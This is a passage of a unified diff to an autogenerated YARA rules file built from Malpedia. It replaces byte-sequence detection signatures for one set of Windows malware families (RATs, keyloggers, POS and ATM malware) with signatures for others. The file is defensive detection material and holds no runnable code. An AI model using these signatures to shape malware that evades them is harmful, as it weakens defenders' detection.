license_url = "N/A" - logic_hash = "07326c1e5d89427ce612fcc5180ad0922ace80e6e89b51e53f272b71223e0de4" + logic_hash = "40cc2b100a2166758d1bade12df1107c6219e6f30fc93c01403c3eb3fe63bfd1" score = 75 quality = 75 tags = "FILE" @@ -90908,32 +91048,38 @@ rule MALPEDIA_Win_Moonbounce_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4dd4 0500100000 83c418 8901 } - $sequence_1 = { b9???????? 2bc8 51 50 8b4508 83c014 50 } - $sequence_2 = { 8945d8 53 8d45dc 50 ff15???????? 8d45d0 8945f8 } - $sequence_3 = { 034004 83780400 7798 8d8680000000 83780400 } - $sequence_4 = { 57 57 83c60c 56 ff15???????? 5f } - $sequence_5 = { ff7508 ff15???????? 6a40 6800300000 8d45fc 50 } - $sequence_6 = { 84c0 7518 8b4310 56 } - $sequence_7 = { 8365f400 8d5008 895508 8b5004 03cb 83c2f8 894df0 } - $sequence_8 = { 8b45f0 0fb70448 8b4f1c 8d0c81 8b4508 8b1c01 03d8 } - $sequence_9 = { 8d450c 50 ff750c 33db ff15???????? } + $sequence_0 = { c78514fdffff38994000 c78518fdffff40994000 c7851cfdffff48994000 c78520fdffff54994000 c78524fdffff60994000 c78528fdffff68994000 } + $sequence_1 = { 83c404 8945fc 837dfc00 0f84d7000000 68???????? 8b45fc } + $sequence_2 = { 8b45f8 8b8c8548ffffff 51 8b55f0 52 } + $sequence_3 = { 0f8462010000 8b55ec 52 ff15???????? 83f801 } + $sequence_4 = { c785fcfcffff08994000 c78500fdffff10994000 c78504fdffff18994000 c78508fdffff20994000 c7850cfdffff28994000 c78510fdffff30994000 } + $sequence_5 = { 7505 e9???????? 8b4df8 3b4df0 7307 } + $sequence_6 = { 6a00 6a03 6800000080 8b4d10 51 } + $sequence_7 = { 55 8bec 51 8b4508 83b86804000000 741b 8b4d08 } + $sequence_8 = { d331 4e4e54 70ac 52 f8 a6 } + $sequence_9 = { 097934 50 5e 5a 3558e9e633 } + $sequence_10 = { bb72657959 a1????????ba30f7a3 873428 de9d164df944 ee aa } + $sequence_11 = { 7f4c c82cd1c6 1a32 b636 } + $sequence_12 = { 21746c2e 4834b0 184026 e221 a1????????05eef081 e0f8 } + $sequence_13 = { 4baa 055457541d e9???????? bc12819787 bbdd81d473 ba2326dc05 645f } + $sequence_14 = { 32cb 5a b3b1 3e6c 21746c2e 4834b0 184026 } + $sequence_15 = { 283d98b7a0e5 7f9b 0b733e fd 6acb 199335632362 } condition: - 7 of them and filesize < 70912 + 7 of them and filesize < 117760 } -rule MALPEDIA_Win_Atmii_Auto : FILE +rule MALPEDIA_Win_Unidentified_118_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4bbbbf02-dbb5-50f9-89bd-68bafb7f61b1" + id = "4400b473-0fbc-528a-90a2-ec9f1b80742d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmii_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_118" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_118_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "de7adb20577b33d8a8506758d2e0ffbda74b46bc9a6446d600c84a3c6b3b34c4" + logic_hash = "d467c02dd84dc6cead16168800c63f7f296242b2a484c5237404056a67dd88cf" score = 75 quality = 75 tags = "FILE" @@ -90947,38 +91093,32 @@ rule MALPEDIA_Win_Atmii_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f6c302 740a 83481804 8a0a 884810 } - $sequence_1 = { eb60 68???????? eb55 68???????? 8d55ac 52 } - $sequence_2 = { 56 c745f800000000 ff15???????? 85c0 0f94c0 8845ff } - $sequence_3 = { 8d95dcfbffff 52 e8???????? 83c418 6a00 } - $sequence_4 = { 50 ffd3 8a5510 8985cdf9ffff 8b450c 50 } - $sequence_5 = { 750a 8b4dfc 8b5109 ffd2 eb02 33c0 } - $sequence_6 = { 8b55fc 0355f4 8a02 8801 ebdd 8be5 } - $sequence_7 = { 8d95fcf3ffff 52 e8???????? 83c42c } - $sequence_8 = { 8d45b8 50 68???????? 68b6000000 8d8df8fcffff 68???????? 51 } - $sequence_9 = { 6a00 6a02 ff15???????? 8bf8 897dfc 83ffff 0f8456010000 } - $sequence_10 = { 8985c5f9ffff ffd7 50 ffd3 } - $sequence_11 = { 0f8419040000 53 57 6814020000 } - $sequence_12 = { 83c414 68???????? 50 68???????? 68???????? ffd7 8b4e10 } - $sequence_13 = { 8d45cc 50 eb14 68???????? 8d4dcc } - $sequence_14 = { 6a00 ff15???????? 50 ff15???????? 68???????? 68d5000000 } - $sequence_15 = { 8a8dfcfeffff 8a95fefeffff 8a8500ffffff 57 } + $sequence_0 = { 0f57c0 c60300 41b820000000 0f1101 4883611000 488bd6 4883611800 } + $sequence_1 = { e8???????? 84c0 7409 488933 c6430800 eb79 48b8e1e1e1e1e1e1e101 } + $sequence_2 = { 84c0 740c 817c243000400000 7502 } + $sequence_3 = { 488bc3 488b4d07 4833cc e8???????? 4881c4b8000000 415f 415e } + $sequence_4 = { 488b49f8 482bc1 4883c0f8 4883f81f 7721 e8???????? 8bc3 } + $sequence_5 = { 7747 e8???????? 660f6f05???????? f30f7f4527 c6451700 807de700 7409 } + $sequence_6 = { 0f45fd 488bce e8???????? 488b4c2430 e8???????? } + $sequence_7 = { 488d4c2460 ffd2 90 e9???????? 0f57c0 0f1145f0 0f57c9 } + $sequence_8 = { e8???????? 4c8b4c2450 4c8bc3 488bd7 488bce } + $sequence_9 = { 488b49f8 482bc1 4883c0f8 4883f81f 0f87d8000000 e8???????? 483bfe } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 413696 } -rule MALPEDIA_Win_Keylogger_Apt3_Auto : FILE +rule MALPEDIA_Win_Derohe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "96f37009-369b-5f17-a68b-4eb5c0d4026d" + id = "4840f450-01b9-530f-9f3a-ae1edecbe97a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keylogger_apt3_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.derohe_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "023590d599979615d817aedf4414560e8504e62badef12c9dd3c7d358dc03318" + logic_hash = "d33bdd1d4e902dd1e401bdb13051180ed9ff9ef53abcf198b2156206eaf60cc4" score = 75 quality = 75 tags = "FILE" @@ -90992,32 +91132,32 @@ rule MALPEDIA_Win_Keylogger_Apt3_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ffd7 8b4e08 6a08 51 ffd7 } - $sequence_1 = { 8b9c2430040000 55 8bac2430040000 56 57 8bbc2434040000 6800010000 } - $sequence_2 = { 52 ffd7 8b0d???????? 8d442424 50 51 } - $sequence_3 = { 8d45f0 50 e8???????? cc e8???????? 8b4004 c3 } - $sequence_4 = { e8???????? 55 e8???????? 68???????? e8???????? 8b8c2440020000 83c40c } - $sequence_5 = { 52 ffd7 a1???????? 896844 8b9eac010000 85db 742e } - $sequence_6 = { 52 e8???????? 8d862c020000 50 8d4c242c 68???????? 51 } - $sequence_7 = { 8d7c00ff 3bc7 89442418 0f8dc6000000 8b542414 8bd8 69db14010000 } - $sequence_8 = { 68???????? 52 ffd7 8b0d???????? 8d442438 50 } - $sequence_9 = { e8???????? 83c404 8b442414 6a00 6a00 6a10 8d54244c } + $sequence_0 = { ffd0 8b542404 c6042443 8b02 ffd0 8b542404 c60424c9 } + $sequence_1 = { ffd0 8b542404 c604247d 8b02 ffd0 8b542404 c60424b7 } + $sequence_2 = { e8???????? 5a 85c0 0f846b050000 8b742428 31c0 8b1f } + $sequence_3 = { ffd0 8b542404 c60424fe 8b02 ffd0 8b542404 c6042424 } + $sequence_4 = { ffd0 8b542404 c60424d4 8b02 ffd0 8b542404 c6042464 } + $sequence_5 = { ffd0 8b542404 c60424ae 8b02 ffd0 8b542404 c6042435 } + $sequence_6 = { ff702c ff15???????? 0fb7431c 897318 83e00a 83c410 6683f80a } + $sequence_7 = { ffd0 8b542404 c604245f 8b02 ffd0 8b542404 c60424f5 } + $sequence_8 = { ffd0 8b542404 c60424ba 8b02 ffd0 8b542404 c60424c5 } + $sequence_9 = { e8???????? 8b542414 8b4318 2982d4000000 8b4718 89c1 81e110900000 } condition: - 7 of them and filesize < 761856 + 7 of them and filesize < 35788800 } -rule MALPEDIA_Win_Scarabey_Auto : FILE +rule MALPEDIA_Win_Collection_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "df55f2c4-936e-5089-bf63-ab8881b2ccec" + id = "ee99e95c-7900-562e-8613-68183d72bbe0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scarabey_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.collection_rat_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "ab0b8e9df053b2dde174abe1928026d6e032765d40449a0cf5be9cf6e0235b67" + logic_hash = "4a525a556c647435c47597aca6c93f4c0c1ae69ffb1c4982506b53b4f472dc0c" score = 75 quality = 75 tags = "FILE" @@ -91031,71 +91171,71 @@ rule MALPEDIA_Win_Scarabey_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a01 ff5004 899e58030000 e9???????? c78778010000acab5700 } - $sequence_1 = { 51 50 8d45c0 50 ffd7 897598 c74594fc2f5300 } - $sequence_2 = { 51 ff15???????? 8d8dc0d6ffff e8???????? 8b95c0d6ffff 52 } - $sequence_3 = { 8b442408 8b4c2404 6a00 6a00 6a00 6a00 50 } - $sequence_4 = { ff15???????? 6a01 8d8d14d1ffff 51 ff15???????? 6a00 6a00 } - $sequence_5 = { 894608 89460c c706???????? c74604???????? c74610541e5300 e8???????? 8bc6 } - $sequence_6 = { e9???????? 837dec00 0f851a010000 6683f80c 0f8510010000 6a0a } - $sequence_7 = { 8bf0 83f907 7771 ff248d690c4700 4e eb26 } - $sequence_8 = { c745bc06000000 897dd0 c745c404885300 c745cc64000000 ff9060010000 } - $sequence_9 = { c745cc18405300 e8???????? 33c0 40 e8???????? c20400 6a08 } + $sequence_0 = { 4885d2 740b 41b001 488bce e8???????? e8???????? } + $sequence_1 = { 8d7e78 448bc3 8bd7 e8???????? 448bce 4c8d442440 8d5601 } + $sequence_2 = { 488bce e8???????? e8???????? 488bc8 baa3000000 e8???????? 488b8f80000000 } + $sequence_3 = { bf18000000 448bc7 33d2 488d8c24a8000000 e8???????? 89bc24a8000000 c78424b800000001000000 } + $sequence_4 = { 410fb7cc eb4a 80f92b 7507 b93e000000 eb3e } + $sequence_5 = { e8???????? eb27 488b5950 e8???????? 488bc8 ba98000000 e8???????? } + $sequence_6 = { c3 418bc4 ebdc 4885d2 0f84aa020000 48895c2408 57 } + $sequence_7 = { 488b4c2470 e8???????? eb14 89442420 4533c9 4533c0 } + $sequence_8 = { 4183e801 7429 4183e801 741e 4183e801 740f 4183f801 } + $sequence_9 = { 4883ec20 4c8b7150 488bd9 b900100000 } condition: - 7 of them and filesize < 3580928 + 7 of them and filesize < 397312 } -rule MALPEDIA_Win_Xfscashncr_Auto : FILE +rule MALPEDIA_Win_C0D0So0_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "08fa1629-5d24-53b4-85f4-eb31463ca09f" + id = "aea7e5c4-8703-5b4f-a55a-e1b218098e9e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xfscashncr_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.c0d0so0_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "6e03028d0cfd23b56ac82a98bfd4131d910eac7c39a1c7a0b0fafa796b30a166" + logic_hash = "0dd75833152df4b63946cc86c2ac389a4374b8155ffb49a46f2ef69869ec191b" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { 741b 0fbe4d82 85c9 7413 8b4d10 e8???????? 0fbe10 } - $sequence_1 = { 8b4d18 e8???????? 8b8564ffffff 50 0fb64d1c 51 8b5514 } - $sequence_2 = { c1f805 8b4de0 83e11f c1e106 030c85c0195700 894de4 8b55e4 } - $sequence_3 = { 8d450c 50 e8???????? 83c408 0fb6c8 85c9 742a } - $sequence_4 = { 004fed 4e 0015???????? ed 4e 0000 0501050205 } - $sequence_5 = { 8955f4 8b450c 8b4d18 8d14c1 8955f8 8b4508 50 } - $sequence_6 = { 8b45d0 8b0c85c0195700 81c100080000 394de4 7366 8b55e4 c6420400 } - $sequence_7 = { d1f8 b902000000 c1e100 8b5508 0fb70c0a c1e10f 0bc1 } - $sequence_8 = { 8b55fc 0fb7040a 85c0 752f b902000000 c1e100 8b55fc } - $sequence_9 = { 0fb755a4 52 6a01 8b4524 50 8d4dd4 e8???????? } + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 6a04 bf00200000 57 ff7350 ff7334 ffd6 } + $sequence_1 = { 837d0c00 7404 0006 eb02 2806 0fb6c0 } + $sequence_2 = { ff15???????? eb46 8d0c4e 8d0c4f } + $sequence_3 = { ff15???????? 85c0 7423 6683780802 } + $sequence_4 = { 33c0 5d c3 8b503c 813c1050450000 75f0 8bd7 } + $sequence_5 = { 7421 8345f814 8b45f8 6a14 83c0f0 50 } + $sequence_6 = { c1ea10 ff4dfc 8813 43 837dfc00 7fe7 8b5508 } + $sequence_7 = { 741f 4a 7417 4a 740f } + $sequence_8 = { eb62 8d45f4 50 57 8d45fc } + $sequence_9 = { 85c0 740f 8b00 47 89048e 41 } condition: - 7 of them and filesize < 3126272 + 7 of them and filesize < 450560 } -rule MALPEDIA_Win_Aukill_Auto : FILE +rule MALPEDIA_Win_Jimmy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "efca2687-336d-54b6-b9e5-6006cad01a63" + id = "571698ec-d0cc-5f2f-93fe-935369535da3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aukill_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jimmy_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "5efb284cf60297ddb14dee519095e9a3fbc8f6f4ea4b889dc99b33d704551ec0" + logic_hash = "4dcefc186990b0fab3b8fbf45f928a3141684ff216c800369029d79b753cf37a" score = 75 quality = 75 tags = "FILE" @@ -91109,32 +91249,32 @@ rule MALPEDIA_Win_Aukill_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33d2 b940040000 ff15???????? 488bd8 } - $sequence_1 = { 488b442460 4c8d442430 488b4c2458 33d2 4889442434 } - $sequence_2 = { 48894c2430 ba04003583 894c2428 48894c2420 448d4920 48894c2450 488b0d???????? } - $sequence_3 = { 771c 488b0b ff15???????? 0fb608 } - $sequence_4 = { 33c9 48895c2440 48894c2438 4c8d442440 48894c2430 ba04003583 } - $sequence_5 = { 488b442460 4c8d442430 488b4c2458 33d2 } - $sequence_6 = { 48894c2420 448d4920 48894c2450 488b0d???????? } - $sequence_7 = { 448d4920 48894c2450 488b0d???????? 48897c2458 4889442448 } - $sequence_8 = { ff15???????? 85c0 751d 488bcb ff15???????? ff15???????? } - $sequence_9 = { 8905???????? c705????????02000000 48c705????????04000000 ff15???????? 488905???????? 4885c0 } + $sequence_0 = { 50 e8???????? 83c40c 85c0 7460 e8???????? } + $sequence_1 = { 32c0 eb6f 8b45e8 2b45f0 } + $sequence_2 = { e8???????? 59 668945f2 ff750c e8???????? 59 } + $sequence_3 = { 8b4dec 0fbe09 3bc1 755b } + $sequence_4 = { c745fc12030900 e9???????? 837de805 752c ff75e4 } + $sequence_5 = { 81ec40020000 c685cbfdffff01 6a00 6a02 e8???????? } + $sequence_6 = { 8d840004010000 50 e8???????? 59 89856cfeffff ff7508 } + $sequence_7 = { eb12 8b45f8 c6805001000001 33c0 0f855effffff 8b45f8 c9 } + $sequence_8 = { 59 59 ff75f4 e8???????? 59 ff75f8 } + $sequence_9 = { 8b45f8 8945f4 8b450c 8945fc } condition: - 7 of them and filesize < 446464 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Abaddon_Pos_Auto : FILE +rule MALPEDIA_Win_Mqsttang_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "618065dd-9f8b-57c5-a1c0-0e96b509ca5a" + id = "0fcd67af-429a-5d69-a3b0-3220fad637de" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.abaddon_pos_auto.yar#L1-L167" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mqsttang_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "6a0d0d67cac52b36a9cdcb672d29dd1257357954e73ab46b05405f9db5dca5b4" + logic_hash = "11a5ef4fb125e32dd68c79670f73b1f4916ce31a149e2ff34e91c4e49e4be013" score = 75 quality = 75 tags = "FILE" @@ -91148,39 +91288,34 @@ rule MALPEDIA_Win_Abaddon_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 750a 83fb3c 7605 e9???????? } - $sequence_1 = { 7605 e9???????? 48 034510 48 0500040000 803800 } - $sequence_2 = { 43 8b86ac010000 b400 b20a f6f2 80fc00 7406 } - $sequence_3 = { 8945fc 83f800 7502 eb86 6800d00700 ff75ec } - $sequence_4 = { eb91 81be0c01000080cf0700 7607 bb80cf0700 eb06 8b9e0c010000 } - $sequence_5 = { 48 89c7 48 8d86b8010000 48 } - $sequence_6 = { 6a00 6a02 ff15???????? 8945e8 8d95c0feffff 52 } - $sequence_7 = { 81c3f8030000 8903 48 31db 48 8b96d0050000 } - $sequence_8 = { 31c0 48 31d2 8a841eb8010000 } - $sequence_9 = { ff15???????? 8b86a0010000 3b86a4010000 0f83e6030000 8b9e94010000 039ea0010000 803b33 } - $sequence_10 = { 83f809 7603 83e809 ba00000000 eb05 ba01000000 0186ac010000 } - $sequence_11 = { 80fd3e 7406 41 80fd3f 756e 49 } - $sequence_12 = { 89e5 48 83ec20 48 c7c100000000 } - $sequence_13 = { 2c30 80ea30 666bc00a 48 01d0 48 89da } - $sequence_14 = { 52 ffb558feffff ff15???????? 8d9530fdffff 52 } + $sequence_0 = { ebd4 ebf3 8d4dcc 89c3 e8???????? ebc6 ebe5 } + $sequence_1 = { f20f105dd8 f20f1065e0 f20f115db8 f20f1165b0 0f87a9000000 890c24 89d9 } + $sequence_2 = { ebec 8b95e4baffff 29ca 83fa02 0f8e87f7ffff 668b4004 6683f83d } + $sequence_3 = { eb0f f6c220 7413 8365081f 837d0801 7420 43 } + $sequence_4 = { ff15???????? 891c24 89442404 89c6 c745d402000000 c745d800000000 c745dc00000000 } + $sequence_5 = { eb16 8b5604 83c301 8b4208 8b4a0c 29c1 39d9 } + $sequence_6 = { f0832a01 742b 8b542420 8b0a 85c9 7451 83f9ff } + $sequence_7 = { f0832801 0f84231b0000 8b4588 8b4010 8b10 85d2 0f84f01a0000 } + $sequence_8 = { c7042400000000 b903000000 ba21000000 89d8 e8???????? 85c0 0f84db000000 } + $sequence_9 = { e8???????? 8985bcfeffff e9???????? 8b4508 8b95fcfeffff 8b4874 8b85f8feffff } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 12651520 } -rule MALPEDIA_Win_Andromeda_Auto : FILE +rule MALPEDIA_Win_Evilpony_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aedaa52d-9d6c-5053-8164-d65674aef5c3" + id = "ac551db8-0573-5b4c-8b60-da95879223db" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andromeda_auto.yar#L1-L305" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilpony_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "20401b03708a6c3a0bc1e9efb5c1e1d85a9de75bca8501a792bc92bf7f214fb5" + logic_hash = "0bf858d26f7e4c261dccce71f7e0ab87c5f711b7c43013273d044a5073bd8d2b" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -91192,54 +91327,32 @@ rule MALPEDIA_Win_Andromeda_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 02d6 81e2ff000000 368a942a00ffffff 301439 41 } - $sequence_1 = { 8b7508 33db 368a942900ffffff 02c2 } - $sequence_2 = { 7408 43 3b5d0c 74cf ebcf 33c0 } - $sequence_3 = { 55 8bec 81c400ffffff 60 b940000000 8d7dfc b8fcfdfeff } - $sequence_4 = { fec0 368a942800ffffff 02da 368ab42b00ffffff 3688b42800ffffff 3688942b00ffffff 02d6 } - $sequence_5 = { e2f8 fc 33c0 8b7508 } - $sequence_6 = { 368ab42800ffffff 3688b42900ffffff 3688942800ffffff fec1 } - $sequence_7 = { 8d7dfc b8fcfdfeff fd ab 2d04040404 e2f8 } - $sequence_8 = { 60 e8???????? 5d 81ed???????? 33c9 } - $sequence_9 = { 0fb64601 84c0 7905 0d00ffffff } - $sequence_10 = { 0f9ec1 33d2 3c41 0f9dc2 85ca 7404 0420 } - $sequence_11 = { 8a06 33c9 3c5a 0f9ec1 33d2 3c41 } - $sequence_12 = { 8d45d0 50 6a01 ff7508 } - $sequence_13 = { 50 e8???????? 83c40c 6800000100 e8???????? } - $sequence_14 = { 68???????? 50 ff15???????? 83c40c 56 6880000000 } - $sequence_15 = { 689f010000 6811010000 57 68???????? ff15???????? 50 } - $sequence_16 = { 68401f0000 e8???????? 668945e2 c745e400000000 } - $sequence_17 = { c745e400000000 6a00 6a00 6a00 6a06 6a01 6a02 } - $sequence_18 = { c7459c44000000 8945d4 8945d8 8945dc 66c745cc0000 c745c801010000 8d458c } - $sequence_19 = { 7457 33c0 8d7d9c b944000000 f3aa 6a00 6a00 } - $sequence_20 = { e8???????? ff75f4 e8???????? 68???????? 6801010000 e8???????? } - $sequence_21 = { 6a02 e8???????? 8945f0 83f8ff 7479 } - $sequence_22 = { e8???????? 8945f8 83f800 0f8458010000 } - $sequence_23 = { 6804010000 ff75fc 6a00 e8???????? 6a00 ff75f8 } - $sequence_24 = { 81fb5267a723 0f843fffffff 56 ff7514 } - $sequence_25 = { 0faff8 69f677adcc8a 81ffd02eaced 0f84a1feffff e9???????? 803beb } - $sequence_26 = { 81e604002402 81e747af3c96 81ce00008000 81c760345938 } - $sequence_27 = { 8b4574 833800 0f846c010000 6af5 ff5510 } - $sequence_28 = { ff5614 8bd8 81f392be3437 81ff64e62722 0f8418010000 8365f000 6850020000 } - $sequence_29 = { ff5638 314508 ff560c 8b7d04 0bd8 81fbb599839e 7503 } - $sequence_30 = { 81f99cd8b976 7417 85db 7c73 } - $sequence_31 = { ff5518 33f8 81f6acec75ce 81ff45ee1de6 0f84ce000000 837d4800 } + $sequence_0 = { ff74242c ff750c 53 e8???????? 83c418 85c0 7488 } + $sequence_1 = { 8d442420 50 ff742420 897c242c bbff070000 57 eb50 } + $sequence_2 = { 897df8 397df4 7654 3bf7 7450 8b4668 6aff } + $sequence_3 = { ff15???????? 8bd8 85db 747c 8bc6 } + $sequence_4 = { 837c241c05 750b 53 e8???????? 59 89442428 } + $sequence_5 = { ff75fc 8bf8 ff15???????? 85c0 7411 56 57 } + $sequence_6 = { 8d55b8 52 6a10 897dfc 8b08 50 ff510c } + $sequence_7 = { 50 ffd6 83c410 8d8564ffffff 50 ffb500ffffff ffd7 } + $sequence_8 = { 85c0 0f8485000000 8365f400 eb06 8b5d08 8b450c 8b0b } + $sequence_9 = { 33c5 8945f8 8b450c 8985f0f7ffff } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Grimplant_Auto : FILE +rule MALPEDIA_Win_Jasus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f4355e5f-8d8e-5a41-aaf8-ff78dc5bf245" + id = "4b02d02a-6c2f-5b7d-a1b9-9adc3f6ec692" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grimplant_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jasus_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "4dec16f667070add3c068beb4323237f7a05d78d34df766eafa3cbe4813f7400" + logic_hash = "b14ad9069299f53695d1925d28e19a4f9144d4135d3ef376cb647d76db2503c7" score = 75 quality = 75 tags = "FILE" @@ -91253,32 +91366,32 @@ rule MALPEDIA_Win_Grimplant_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb13 4889c3 4889f0 e8???????? 488b942480000000 84c0 742a } - $sequence_1 = { eb09 488d7908 e8???????? 488b6c2420 4883c428 c3 0f1f4000 } - $sequence_2 = { e8???????? 488d056e852500 488b5c2428 488b4c2448 488b7c2450 e8???????? 48c7400801000000 } - $sequence_3 = { e8???????? 4889d8 e8???????? 4c89e0 0f1f440000 e8???????? 488b9424f8000000 } - $sequence_4 = { 4c8b442458 4c8b4c2460 4c8d15f1213300 4989c3 4889c8 4889d1 488bac24a0000000 } - $sequence_5 = { eb1c 488b4c2460 488b8908010000 488b442468 ffd1 3c03 7505 } - $sequence_6 = { 8400 833d????????00 750c 488d0da5553c00 488908 eb0f 4889c7 } - $sequence_7 = { c3 4889d0 488b5c2468 488b4c2440 488d3dd7323800 be04000000 e8???????? } - $sequence_8 = { bf01000000 4889fe e8???????? 0f1f440000 e8???????? 4889c3 488d05f1d22a00 } - $sequence_9 = { ffd2 488d48ff eb15 31c0 488b6c2468 4883c470 c3 } + $sequence_0 = { 663915???????? 0f8730020000 663915???????? 0f8723020000 663915???????? 0f8716020000 663915???????? } + $sequence_1 = { 740f 50 68???????? 56 e8???????? 83c40c 8b45f0 } + $sequence_2 = { e8???????? 8b54241c 8bf0 80bb8000000000 c6432d00 7412 } + $sequence_3 = { 8bcb 2b4e14 2bc2 3bc8 744e 8b4df8 85c9 } + $sequence_4 = { 8d7b1e e8???????? 84c0 7437 a1???????? 8b55f8 } + $sequence_5 = { c3 56 33f6 85db 0f889d000000 57 8bf8 } + $sequence_6 = { 7474 833b00 756f f644242c01 668954242e 750a } + $sequence_7 = { 8b8534feffff 668955c4 8b958cfeffff 6a02 } + $sequence_8 = { c1f905 8b0c8d809d4300 c1e006 8d440104 800820 8b4df4 b8000000c0 } + $sequence_9 = { 68???????? e8???????? 8b8df8feffff 83c448 51 ff15???????? 83c404 } condition: - 7 of them and filesize < 19940352 + 7 of them and filesize < 507904 } -rule MALPEDIA_Win_Statc_Auto : FILE 